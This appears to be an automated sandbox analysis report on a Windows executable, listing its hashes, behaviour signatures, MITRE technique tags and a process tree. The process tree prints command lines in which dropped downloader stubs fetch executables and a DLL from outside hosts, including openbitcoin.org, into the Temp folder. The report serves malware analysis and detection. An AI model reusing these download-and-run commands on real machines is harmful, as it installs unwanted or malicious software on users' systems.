47b4d7f0e8fbacadab4dd8259443904935e38cc89abe7f10c9d8d9b2950c6f16

Analysis

max time kernel
0s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
31/12/2023, 04:44

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General

Target

28ac188adae3e90b506898cc9fab4699.exe
Size

492KB
MD5

28ac188adae3e90b506898cc9fab4699
SHA1

4f31e191eaf870d9971ddde8d339430ebf6381ab
SHA256

47b4d7f0e8fbacadab4dd8259443904935e38cc89abe7f10c9d8d9b2950c6f16
SHA512

31bf9c81191e38fd89d89b024e0a1835a6c72fe6337395636b674858fe05e976fa84b53405e9420698236e3a0724dd2f12cac3443ac708b331c991ecdadef025
SSDEEP

6144:Cuk4fqjksQqF6jtY03ZgLpp6TURimpBwXVUTL7E97IkXQxBRUoz0JehYvH7Aw0v9:44fwX6peEUBwXVwM9vylzdYvH7AwC

Score

7^/10

Malware Config

Signatures

Executes dropped EXE 6 IoCs

pid	Process
5004	downloaderSTUB.exe
2380	downloaderSTUB.exe
232	downloaderSTUB.exe
4248	downloaderDDLR.exe
2052	downloaderOFFER0.exe
4432	preinstaller.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4988 wrote to memory of 5004	4988	28ac188adae3e90b506898cc9fab4699.exe	26
PID 4988 wrote to memory of 5004	4988	28ac188adae3e90b506898cc9fab4699.exe	26
PID 4988 wrote to memory of 5004	4988	28ac188adae3e90b506898cc9fab4699.exe	26
PID 4988 wrote to memory of 2380	4988	28ac188adae3e90b506898cc9fab4699.exe	25
PID 4988 wrote to memory of 2380	4988	28ac188adae3e90b506898cc9fab4699.exe	25
PID 4988 wrote to memory of 2380	4988	28ac188adae3e90b506898cc9fab4699.exe	25
PID 4988 wrote to memory of 232	4988	28ac188adae3e90b506898cc9fab4699.exe	24
PID 4988 wrote to memory of 232	4988	28ac188adae3e90b506898cc9fab4699.exe	24
PID 4988 wrote to memory of 232	4988	28ac188adae3e90b506898cc9fab4699.exe	24
PID 4988 wrote to memory of 4248	4988	28ac188adae3e90b506898cc9fab4699.exe	23
PID 4988 wrote to memory of 4248	4988	28ac188adae3e90b506898cc9fab4699.exe	23
PID 4988 wrote to memory of 4248	4988	28ac188adae3e90b506898cc9fab4699.exe	23
PID 4988 wrote to memory of 2052	4988	28ac188adae3e90b506898cc9fab4699.exe	22
PID 4988 wrote to memory of 2052	4988	28ac188adae3e90b506898cc9fab4699.exe	22
PID 4988 wrote to memory of 2052	4988	28ac188adae3e90b506898cc9fab4699.exe	22
PID 4988 wrote to memory of 4432	4988	28ac188adae3e90b506898cc9fab4699.exe	21
PID 4988 wrote to memory of 4432	4988	28ac188adae3e90b506898cc9fab4699.exe	21
PID 4988 wrote to memory of 4432	4988	28ac188adae3e90b506898cc9fab4699.exe	21

C:\Users\Admin\AppData\Local\Temp\28ac188adae3e90b506898cc9fab4699.exe
"C:\Users\Admin\AppData\Local\Temp\28ac188adae3e90b506898cc9fab4699.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:4988
- C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\preinstaller.exe
  C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\preinstaller.exe 0 "Type_o_negative-the_best_of_type_o_negative-cd-2006-qtxmp3" "Download"
  2⤵
  - Executes dropped EXE
  PID:4432
- C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderOFFER0.exe
  C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderOFFER0.exe /U "http://www.directdownloader.com/toolbars/optimizer.exe" /D "C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\optimizer.exe"
  2⤵
  - Executes dropped EXE
  PID:2052
- C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderDDLR.exe
  C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderDDLR.exe /U "http://www.directdownloader.com/DirectDownloaderInstaller.exe" /D "C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\DirectDownloaderInstaller.exe"
  2⤵
  - Executes dropped EXE
  PID:4248
- C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/updater.exe" /D "C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\updater.exe"
  2⤵
  - Executes dropped EXE
  PID:232
- C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderSTUB.exe /U "http://openbitcoin.org/static/dist/OpenCL.dll" /D "C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\OpenCL.dll"
  2⤵
  - Executes dropped EXE
  PID:2380
- C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderSTUB.exe
  C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\downloaderSTUB.exe /U "http://www.openbitcoin.org/static/dist/obc.exe" /D "C:\Users\Admin\AppData\Local\Temp\bef073723c45ea73f45ee509cd2846f0\stub.exe"
  2⤵
  - Executes dropped EXE
  PID:5004

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/4432-46-0x0000000000400000-0x000000000043F000-memory.dmp

Filesize
252KB

Download
memory/4988-45-0x0000000000400000-0x0000000000444000-memory.dmp

Filesize
272KB

Download